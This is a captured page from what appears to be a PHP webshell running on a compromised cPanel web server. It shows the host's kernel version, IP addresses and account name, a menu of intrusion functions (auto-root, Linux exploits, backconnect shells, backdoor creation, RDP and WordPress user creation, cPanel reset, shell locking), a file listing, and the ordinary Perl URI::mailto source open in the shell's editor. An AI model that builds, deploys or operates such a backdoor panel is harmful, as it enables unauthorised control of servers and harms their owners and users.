Linux s3.cpanelhost.co.in 5.14.0-611.49.2.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Apr 30 09:05:08 EDT 2026 x86_64
LiteSpeed
: 65.108.44.247 | : 216.73.217.94
Cant Read [ /etc/named.conf ]
7.4.33
teac11783
Bypass.pw
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
Backdoor Scanner
Backdoor Create
Alfa Webshell
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
URI /
[ HOME SHELL ]
Name
Size
Permission
Action
file
[ DIR ]
drwxr-xr-x
urn
[ DIR ]
drwxr-xr-x
Escape.pm
6.9
KB
-rw-r--r--
Heuristic.pm
6.37
KB
-rw-r--r--
IRI.pm
794
B
-rw-r--r--
QueryParam.pm
4.75
KB
-rw-r--r--
Split.pm
2.3
KB
-rw-r--r--
URL.pm
5.36
KB
-rw-r--r--
WithBase.pm
3.77
KB
-rw-r--r--
_foreign.pm
107
B
-rw-r--r--
_generic.pm
5.69
KB
-rw-r--r--
_idna.pm
2.03
KB
-rw-r--r--
_ldap.pm
3.17
KB
-rw-r--r--
_login.pm
231
B
-rw-r--r--
_punycode.pm
5.49
KB
-rw-r--r--
_query.pm
2.47
KB
-rw-r--r--
_segment.pm
416
B
-rw-r--r--
_server.pm
3.64
KB
-rw-r--r--
_userpass.pm
1.01
KB
-rw-r--r--
data.pm
3.31
KB
-rw-r--r--
file.pm
9.53
KB
-rw-r--r--
ftp.pm
1.03
KB
-rw-r--r--
gopher.pm
2.37
KB
-rw-r--r--
http.pm
425
B
-rw-r--r--
https.pm
144
B
-rw-r--r--
ldap.pm
2.86
KB
-rw-r--r--
ldapi.pm
440
B
-rw-r--r--
ldaps.pm
144
B
-rw-r--r--
mailto.pm
1.25
KB
-rw-r--r--
mms.pm
125
B
-rw-r--r--
news.pm
1.42
KB
-rw-r--r--
nntp.pm
127
B
-rw-r--r--
nntps.pm
144
B
-rw-r--r--
pop.pm
1.18
KB
-rw-r--r--
rlogin.pm
129
B
-rw-r--r--
rsync.pm
207
B
-rw-r--r--
rtsp.pm
125
B
-rw-r--r--
rtspu.pm
126
B
-rw-r--r--
sftp.pm
98
B
-rw-r--r--
sip.pm
1.66
KB
-rw-r--r--
sips.pm
143
B
-rw-r--r--
snews.pm
172
B
-rw-r--r--
ssh.pm
175
B
-rw-r--r--
telnet.pm
128
B
-rw-r--r--
tn3270.pm
128
B
-rw-r--r--
urn.pm
2.12
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : mailto.pm
package URI::mailto; # RFC 2368 use strict; use warnings; our $VERSION = '5.09'; use parent qw(URI URI::_query); sub to { my $self = shift; my @old = $self->headers; if (@_) { my @new = @old; # get rid of any other to: fields for (my $i = 0; $i < @new; $i += 2) { if (lc($new[$i] || '') eq "to") { splice(@new, $i, 2); redo; } } my $to = shift; $to = "" unless defined $to; unshift(@new, "to" => $to); $self->headers(@new); } return unless defined wantarray; my @to; while (@old) { my $h = shift @old; my $v = shift @old; push(@to, $v) if lc($h) eq "to"; } join(",", @to); } sub headers { my $self = shift; # The trick is to just treat everything as the query string... my $opaque = "to=" . $self->opaque; $opaque =~ s/\?/&/; if (@_) { my @new = @_; # strip out any "to" fields my @to; for (my $i=0; $i < @new; $i += 2) { if (lc($new[$i] || '') eq "to") { push(@to, (splice(@new, $i, 2))[1]); # remove header redo; } } my $new = join(",",@to); $new =~ s/%/%25/g; $new =~ s/\?/%3F/g; $self->opaque($new); $self->query_form(@new) if @new; } return unless defined wantarray; # I am lazy today... URI->new("mailto:?$opaque")->query_form; } 1;
Close
